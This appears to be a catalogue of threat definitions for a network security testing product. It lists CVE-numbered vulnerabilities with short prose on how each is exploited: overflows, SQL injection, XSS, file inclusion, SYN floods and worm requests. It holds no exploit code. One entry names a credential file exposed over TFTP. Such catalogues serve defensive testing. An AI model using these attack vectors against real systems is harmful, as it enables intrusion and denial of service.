Detailed Description:	A code execution vulnerability exists in CA ARCserve D2D. The vulnerability is due to an information disclosure while processing Google Web Toolkit (GWT) RPC requests. When the software is installed, the administrator credentials are stored in clear text in a file with fixed name. A remote attacker can leverage this vulnerability to download this not properly secured file from a target system, and later log in using the acquired credentials.
Protocol Type:	IPv6,ARCserve D2D
Threat File Name:	FSC20090402-03_IBM_DB2_Database_Server_Invalid_Data_Stream_Denial_of_Service.xml
Executive Description:	IBM DB2 Database Server Invalid Data Stream Denial of Service
Detailed Description:	A denial of service vulnerability exists in IBM DB2 Database Server. The flaw is due to insufficient input validation when processing malformed data streams. Remote authenticated attackers could exploit this vulnerability by sending a malicious Distributed Relational Database Architecture (DRDA) data stream to the server. In a successful attack case, the affected server will terminate and will not be available until the service is manually restarted.
Protocol Type:	DRDA
CVEID:	CVE-2009-0173
Threat Package:	Standard
Threat File Name:	TSL20131219-02_Apache_Santuario_XML_Security_for_Java_DTD_Denial_of_Service_IPv6.xml
Executive Description:	Apache Santuario XML Security for Java DTD Denial of Service(IPv6 Version)

Detailed Description:	A denial of service vulnerability exists in Apache Santuario XML Security for Java. The vulnerability is due to the allowing of Document Type Definitions (DTDs) when validating signatures. A remote attacker can exploit this vulnerability by providing a specially crafted XML signature. Successful exploitation could result in the application crashing resulting in a denial of service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-4517
OSVDB:	101169
Threat File Name:	zenturi_pgrmchkr_activex_bof.xml
Executive Description:	Zenturi ProgramChecker ActiveX Control Multiple Insecure Methods Vulnerabilities
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	awstats_cmi_b.xml
Executive Description:	AWStats 6.5 Remote Command Injection
Detailed Description:	This threat sends a crafted HTTP POST command which allows arbitrary command execution via the "migrate" parameter. This is due to improper handling of shell metacharacters. AWStats is a web application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2237
Threat File Name:	TSL20120625-01_Apple_iTunes_m3u_Playlist_Multiple_Buffer_Overflows_IPv6.xml
Executive Description:	Apple iTunes m3u Playlist Multiple Buffer Overflows(IPv6)
Detailed Description:	Multiple buffer overflows have been discovered in Apple iTunes. The vulnerabilities are located in the code responsible for handling m3u files and can be triggered by overly long records in m3u files. An attacker can exploit this vulnerability by enticing a user to open an m3u file with iTunes or to view a specially crafted web page with an embedded m3u playlist. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0677
OSVDB:	82897
Threat File Name:	drake_cms_xss.xml
Executive Description:	Drake CMS UI.DTA.PHP Cross-Site Scripting Vulnerability
Detailed Description:	This threat attempts to cause a cross site scripting condition through the UI.DTA.PHP function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. Drake CMS is a web application, and typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	articlescript_sqli.xml
Executive Description:	Article Script v1.*and v1.6.3 Sql injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Article Script a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5765
Threat Package:	Standard
Threat File Name:	TSL20150623-04_Adobe_Flash_Player_Nellymoser_DataSize_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player Nellymoser DataSize Heap Buffer Overflow IPv6 version
Detailed Description:	A heap buffer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an issue with the processing of Nellymoser audio tag data. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2015-3113
Threat File Name:	mailsite_dos.xml
Executive Description:	Rockliffe MailSite HTTP Management Agent WCONSOLE.DLL Crafted Parameter DoS
Detailed Description:	This threat sends a crafted URL that contains a character which causes the service to become unresponsive. Rockliffe MailSite uses a web based interface that typically listens on port 90.
Protocol Type:	HTTP
CVEID:	CVE-2006-0342
OSVDB:	22678
Threat File Name:	fuzz-TFTP_Filename_formats_RRQ.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formats_RRQ.xml
Detailed Description:	Fuzzes Filename field by appending one or more of %s to the filename. OpCode is RRQ
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	NOOPtcpUNIX.xml
Executive Description:	TCP NOOP packet variant HP-UNIX
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20100831-02_Novell_NetWare_OpenSSH_Buffer_Overflow_IPv6.xml
Executive Description:	Novell NetWare OpenSSH Buffer Overflow (IPv6 Version)

Detailed Description:	A buffer stack-based overflow vulnerability exists in Novell Netware. The vulnerability is due to a boundary error in SSHD.NLM and SFTP-SVR.NLM modules when processing user sessions. Remote authenticated attackers can exploit this vulnerability to inject and execute arbitrary code with <i><italic>admin</italic></i> privileges via sending an overly long string argument to the affected service. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the intention of the injected code. In situations where code execution is not successful the affected service may terminate abnormally, causing a denial of service condition.
Protocol Type:	IPv6,SSH
Threat Package:	Standard
Threat File Name:	TSL20130730-01_Trimble_Navigation_SketchUp_BMP_File_Buffer_Overflow.xml
Executive Description:	Trimble Navigation SketchUp BMP File Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Trimble Navigation's SketchUp. The vulnerability is due to a heap buffer overflow while processing BMP files which contain malicious RLE data. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation could result in arbitrary code execution with the privileges of the logged in user. If exploitation is not successful, the application may terminate abnormally.
Protocol Type:	HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-3663
OSVDB:	93788
Threat File Name:	nurems_sqlii_IPv6.xml
Executive Description:	NuRems 1.0 (propertiesdetails.asp) SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. NuRems is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5886
Threat Package:	Standard
Threat File Name:	TSL20160112-19_Microsoft_Edge_CVE-2016-0003_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-0003 Type Confusion(IPv6 version)
Detailed Description:	A type confusion vulnerability exists in Microsoft Edge. The vulnerability is due errors while handling objects in memory.A remote attacker can exploit this vulnerability by enticing a victim into opening a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-0003
Threat File Name:	TSL20111103-05_Microsoft_Multiple_Products_TrueType_Font_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows win32k.sys TrueType Font Parsing Kernel Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been identified in the Microsoft Windows kernel. The vulnerability is due to improper calculations and bounds checks when parsing a malicious font file. Malicious values within the font file can cause the vulnerable code to corrupt memory outside the allocated buffer. Remote attackers can exploit this vulnerability by enticing a user to open a crafted TrueType font file. If exploited successfully, an attacker can execute arbitrary code within the Windows kernel. This vulnerability is actively exploited by the Duqu malware.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-3402
OSVDB:	76843
Threat File Name:	TSL20140623-05_Samba_nmbd_sys_recvfrom_Infinite_Loop_Denial_of_Service_IPv6.xml
Executive Description:	Samba nmbd sys_recvfrom Infinite Loop Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in Samba nmbd daemon. The vulnerability is due to an error when handling crafted NetBIOS packets that causes nmbd to enter an infinite loop. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation could lead to a denial of service condition on the server. Tester should turn variable \$destPort into 137 before test.
Protocol Type:	NBNS.IPV6
CVEID:	CVE-2014-0244
OSVDB:	108348
Threat File Name:	cwfm_rfi.xml
Executive Description:	Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Comet WebFileManager is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-4077
Threat Package:	Standard
Threat File Name:	postguestbook_rfi.xml
Executive Description:	PostGuestbook 0.6.1(tpl_pgb_moddir)Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PostGuestbook is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1372
Threat Package:	Standard
Threat File Name:	TSL20120113-04_HP_Easy_Printer_Care_ActiveX_Control_Directory_Traversal_IPv6.xml
Executive Description:	HP Easy Printer Care ActiveX Control Directory Traversal(IPv6 Version)

Detailed Description:	A directory traversal vulnerability has been discovered in the XMLCacheMgr class ActiveX control, which is a component of HP Easy Printer Care. The vulnerability can be triggered by passing malicious parameters to the <i><CacheDocumentXMLWithId()</i> method. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious web page. A successful attack would result in execution of arbitrary attacker code in the security context of the current user running the browser.</i>
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-4786
Threat File Name:	zomplog_rfi_IPv6.xml
Executive Description:	Zomplog v3.8 Remote File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. Zomplog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1524
Threat Package:	Standard
Threat File Name:	FSC20100615-12_Apple_Safari_Webkit_Option_Element_ContentEditable_Code_Execution_IPv6.xml
Executive Description:	Apple Safari Webkit Option Element ContentEditable Code Execution (IPv6)
Detailed Description:	A vulnerability has been reported in Apple Safari's Webkit that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the way the vulnerable application removes a particular container element containing another element holding the contentEditable attribute. Remote attackers could exploit this vulnerability by enticing the target user to open a maliciously crafted web page. Successful exploitation could result in execution of arbitrary code within the security context of the current user. An unsuccessful attempt will terminate the affected application abnormally. (IPv6)
Protocol Type:	IPv6/HTTP
CVEID:	CVE-2010-1396
Threat File Name:	opera_jpeg_rheap.xml
Executive Description:	Opera <= 9.10 JPG Image DHT Marker Heap Corruption Vulnerability
Detailed Description:	This threat uses a malicious jpeg file as its payload, sent to a vulnerable Opera web browser will result in execution of code and/or crashing. Opera is a web browser that typically connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0126
OSVDB:	31574
Threat Package:	Standard
Threat File Name:	reloadcms_xss_cmi_IPv6.xml
Executive Description:	ReloadCMS User-Agent HTML Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a standard HTTP query containing html or php within the User-Agent header field, this flaw can be used as either a XSS or remote code execution flaw. ReloadCMS typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	FSC20071009-20_Microsoft_Windows_SharePoint_Services_Cross_Site_Scripting.xml
Executive Description:	Microsoft Windows SharePoint Services Cross Site Scripting
Detailed Description:	There exist a cross-site scripting vulnerability in Microsoft SharePoint. The flaw is due to lack of input validation when processing the URL request from client. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2007-2581
Threat Package:	Standard
Threat File Name:	FSC20090113-30_Oracle_BEA_WebLogic_IIS_connector_JSESSIONID_Stack_Buffer_Overflow.xml
Executive Description:	Oracle BEA WebLogic IIS connector JSESSIONID Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server IIS Connector. The vulnerability is due to a boundary error in the IIS connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests to the target host. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the IIS service. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-5457
Threat Package:	Standard
Threat File Name:	FSC20090928-03_FFmpeg_OGV_File_Format_Memory_Corruption.xml
Executive Description:	FFmpeg OGV File Format Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in FFmpeg when handling certain "ogv" files. The vulnerability is due to an error when handling malformed files. A malicious user can exploit this vulnerability by enticing a user to view a malicious file. Viewing the malicious ".ogv" file can lead to memory corruption. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
Threat Package:	Standard
Threat File Name:	FSC20040421-01_Microsoft_HSC_URL_RemoteCodeExecution_IPv6.xml
Executive Description:	Microsoft HSC URL RemoteCodeExecution (IPv6 Version)
Detailed Description:	There is a vulnerability in the way the Microsoft Help and Support Center processes URL strings. The vulnerability could be exploited to run malicious JavaScript code in the security context of "My Computer Zone". (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0907
Threat Package:	Standard
Threat File Name:	FSC20101214-36_Microsoft_Office_PICT_Image_Converter_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Office PICT Image Converter Integer Overflow (IPv6 Version)

Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office allocates a buffer size when handling PICT image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-3946
Threat File Name:	fsd_help_bof_IPv6.xml
Executive Description:	FSD Exechelp And Execmulticast(HELP) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow in FSD Exechelp that results in execution of arbitrary code via a long HELP command on TCP port 3010 to the sysuser::exechelp function. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-5256
Threat Package:	Standard
Threat File Name:	FSC20060502-12_MySQL_COM_TABLE_DUMP_Function_Stack_Overflow_IPv6.xml
Executive Description:	MySQL COM_TABLE_DUMP Function Stack Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in the MySQL database server product. The flaw is created by improperly implemented boundary checks on incoming user input. An authenticated attacker with limited privileges may exploit this issue to execute arbitrary code on the vulnerable host within the context of the server process. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	EQdkp_cmi.xml
Executive Description:	EQdkp Arbitrary Remote File Execution
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote file containing PHP code which is executed by the server via the "eqdkp_root_path" parameter. EQdkp is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2256
OSVDB:	25339
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_1025_IPv6.xml
Executive Description:	FTP Buffer Overflow [1025] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	ie_daxctle-ocx_heap_IPv6.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Daxctle.OCX Heap Buffer Overflow vulnerability. (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the way Internet Explorer instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Internet Explorer is a web browser that typically browses web sites on port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20151013-09_Microsoft_Tablet_Input_Band_Object_Handling_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Tablet Input Band Object Handling Use After Free IPv6 version
Detailed Description:	A use after free vulnerability exists in Microsoft Tablet Input Band. The vulnerability is caused by accessing already released memory objects. An attacker could exploit this vulnerability by convincing a target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the currently logged on user.
Protocol Type:	HTTP/HTTPS, IPV6
CVEID:	CVE-2015-2548
Threat File Name:	FSC20071009-18_Microsoft_Windows_RPC_NTLMSSP_Authentication_Denial_of_Service.xml
Executive Description:	Microsoft Windows RPC NTLMSSP Authentication Denial of Service
Detailed Description:	An integer underflow vulnerability exists in the Microsoft Windows Remote Procedure Call (RPC) service. The vulnerability is due to improper communication between the NTLM authentication component and the RPC engine. A remote un-authenticated attacker can exploit this flaw by sending specially crafted RPC requests using the NTLMSSP authentication method to terminate the RPC service on the target system. Successful attack could raise a denial of service condition on the target system, where the target system becomes non-responsive and restarts as the result of the attack.
Protocol Type:	RPC
CVEID:	CVE-2007-2228
Threat Package:	Standard
Threat File Name:	FSC20090428-01_Adobe_Reader_JavaScript_getAnnots_Method_Memory_Corruption.xml
Executive Description:	Adobe Reader JavaScript getAnnots Method Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation in the implementation of the getAnnots JavaScript method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
Threat Package:	Standard
Threat File Name:	FSC20050602-01_RSA_Authentication_Agent_for_Web_Buffer_Overflow.xml
Executive Description:	RSA Authentication Agent for Web Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the RSA Authentication Agent for Microsoft Internet Information Server (IIS). The flaw is triggered when the vulnerable component parses crafted HTTP data. Successful exploitation can allow arbitrary code to be executed with System level privileges on the target system.

Protocol Type:	HTTP
CVEID:	CVE-2005-1471
Threat Package:	Standard
Threat File Name:	SYNFlood2.xml
Executive Description:	TCP SYN Flood 2
Detailed Description:	The normal 3-way handshake for establishing a TCP session between the client and server involves the client sending a TCP SYN packet, the server receiving this packet and opening a socket connection for that user and sending a TCP SYN/ACK packet in return. At this point the server waits, with an open connection for the client to send a TCP ACK to confirm the session. This threat is executed by sending many TCP SYN packet to the targeted machine from a user specified source address. This will result in the target opening connections until its resources have been exhausted. This will result in a denial of service for all legitimate users.
Protocol Type:	TCP
CVEID:	CVE-1999-0116
OSVDB:	10182
Threat Package:	Standard
Threat File Name:	TSL20121025-01_VideoLAN_VLC_Media_Player_PNG_Code_Execution.xml
Executive Description:	VideoLAN VLC Media Player PNG Code Execution
Detailed Description:	A code execution vulnerability has been reported in VLC Media Player. The vulnerability is due to an input validation error when handling certain PNG files. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted PNG file with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,RTSP
CVEID:	CVE-2012-5470
Threat File Name:	FSC20070910-02_Trend_Micro_ServerProtect_TMregChange_Stack_Overflow.xml
Executive Description:	Trend Micro ServerProtect TMregChange Stack Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Trend Micro ServerProtect. The vulnerability is due to improper bounds checking of specially crafted messages sent to TMregChange functionality of the service. A remote unauthenticated attacker, with network access to the vulnerable service, could exploit this vulnerability by sending a specially crafted message to the target service and could inject and execute arbitrary code on the target system with System level privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-4731
Threat Package:	Standard
Threat File Name:	FSC20090626-01_VideoLAN_VLC_Media_Player_SMB_Module_Win32AddConnection_Buffer_Overflow.xml
Executive Description:	VideoLAN VLC Media Player SMB Module Win32AddConnection Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in VideoLAN VLC Media Player. The vulnerability is due to a boundary error in function "Win32AddConnection()" in file "modules/access/smb.c" while parsing specially crafted SMB path. Remote attackers can exploit this vulnerability, for example, by enticing target users to open a playlist file having an overly long "smb://" URI that will cause a stack buffer overflow, or by sending a specially crafted request to VLC web interface. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToHEAD_IPv6.xml
Executive Description:	Fuzz HTTP HEAD appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20080212-22_Microsoft_Office_Works_File_Converter_WPS_File_Field_Length_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Office Works File Converter WPS File Field Length Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of various field lengths while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0108
Threat Package:	Standard
Threat File Name:	nimda2.xml
Executive Description:	Nimda Request URL 2
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	news_rover_bof.xml
Executive Description:	News Rover Subject Line Stack Buffer Overflow Vulnerability
Detailed Description:	This threat uses a http server to deliver a malicious nzb file resulting in a buffer overflow and code execution in the News Rover client application. News Rover is a client application, this threat uses a web server listening on port 80 to deliver the payload.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	contentnow_xss_IPv6.xml

Executive Description:	ContentNow 1.30 (upload/xss) Cross-site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. ContentNow is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060411-17_Microsoft_FrontPage_Server_Extensions_Cross_Site_Scripting.xml
Executive Description:	Microsoft FrontPage Server Extensions Cross Site Scripting
Detailed Description:	A Cross Site Scripting vulnerability exists in Microsoft FrontPage Server Extensions and Microsoft SharePoint Team Services. The vulnerability is caused as a result of the failure of these products to properly validate certain CGI parameters passed to them. This vulnerability allows arbitrary HTML code to be injected and executed in the context of the web site.
Protocol Type:	HTTP
CVEID:	CVE-2006-0015
Threat Package:	Standard
Threat File Name:	FSC20090611-01_Adobe_Acrobat_and_Adobe_Reader_FlateDecode_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Adobe Reader FlateDecode Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to the way Adobe Acrobat and Adobe Reader processes FlateDecode filter parameters. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1856
Threat Package:	Standard
Threat File Name:	wuftp_exec_cmi_IPv6.xml
Executive Description:	WU-FTPD Site EXEC Race Condition (IPv6 Version)
Detailed Description:	This threat sends a crafted SITE command containing a commandline which is executed by the server with root permissions. WU-FTP is an FTP server which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-1999-0955
OSVDB:	8719
Threat File Name:	FSC20100413-01_Adobe_Reader_U3D_CLODMeshDeclaration_Shading_Count_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Reader U3D CLODMeshDeclaration Shading Count Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Acrobat Reader. The vulnerability is due to an integer overflow when processing the "Shading Count" field in the CLOD Mesh Declaration block. This vulnerability may be exploited by remote attackers to execute arbitrary code on the vulnerable system by enticing a user to open a maliciously crafted PDF document. In attack scenarios where code execution is successful, the injected code will run within the security context of the currently logged in user. If code execution fails, the affected application may terminate abnormally leading to a denial of service condition. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/IPv6
CVEID:	CVE-2010-0196
Threat Package:	Standard
Threat File Name:	lupper2.xml
Executive Description:	Lupper Worm 2
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	autodealer_sqli.xml
Executive Description:	autoDealer <= 2.0 (iPro) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. autoDealer an web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	burncms_cmi_d.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities
Detailed Description:	This threat demonstrates a remote file inclusion flaw against mysql.class.php's root parameter. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080917-06_IBM_DB2_Universal_Database_XML_Query_Buffer_Overflow.xml
Executive Description:	IBM DB2 Universal Database XML Query Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in IBM DB2 Universal Database application. The vulnerability is due to insufficient boundary check on an argument passed to the XMLQUERY function call. Remote authenticated attackers can exploit this vulnerability to overrun a stack buffer and execute arbitrary code with elevated privileges or cause Denial of Service on the server.
Protocol Type:	SUBSARI
CVEID:	CVE-2008-3854
Threat Package:	Standard
Threat File Name:	TSL20141209-27_Adobe_Flash_parseFloat_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Flash parseFloat Stack Buffer Overflow
Detailed Description:	A stack based buffer overflow has been reported in Adobe Flash. The vulnerability is due to insufficient checks on a buffer size prior to a copy operation. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a page embedding a maliciously crafted SWF file. Successful exploitation could lead to arbitrary code execution under the security context of the running process.

Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2014-9163
OSVDB:	115560
Threat File Name:	blur6ex_sqli_IPv6.xml
Executive Description:	Blursoft Blur6ex SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Blur6ex is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1763
OSVDB:	24684
Threat Package:	Standard
Threat File Name:	picoServ_IPv6.xml
Executive Description:	picoServer Remote Command Execution (IPv6 Version)
Detailed Description:	This threat takes advantage of a parsing error in the cgi-bin functionality of picoServer. It allows a remote attacker to run arbitrary commands on the server in the context of the picoServer user. This can allow remote compromise of the system. picoServer listens as a traditional web server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1365
OSVDB:	16630
Threat Package:	Standard
Threat File Name:	FSC20081209-21_Microsoft_Visual_Basic_FlexGrid_ActiveX_Control_Memory_Corruption.xml
Executive Description:	Microsoft Visual Basic FlexGrid ActiveX Control Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in multiple Microsoft products. The vulnerability is due to improper memory initialization when the FlexGrid ActiveX control is loaded in a web page. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application (IE) may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4253
Threat Package:	Standard
Threat File Name:	sipzeromf.xml
Executive Description:	SIPPING: Zero Max Forwards
Detailed Description:	This threat sends out a SIP OPTIONS message with its Max-Forwards: header set to 0. This is legal but sometimes unexpected, and may cause unpredictable behavior in some SIP implementations.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	hp_ignite_tftp_IPv6.xml
Executive Description:	HP Ignite-UX TFTP passwd Download (IPv6 Version)
Detailed Description:	This threat issues a TFTP request for a password file that the HP Ignite application can inadvertently expose. The TFTP request is for the file /var/opt/ignite/recovery/passwd.makrec. TFTP typically uses UDP port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2004-0951
OSVDB:	18749
Threat Package:	Standard
Threat File Name:	siptrailingudpoctets_IPv6.xml
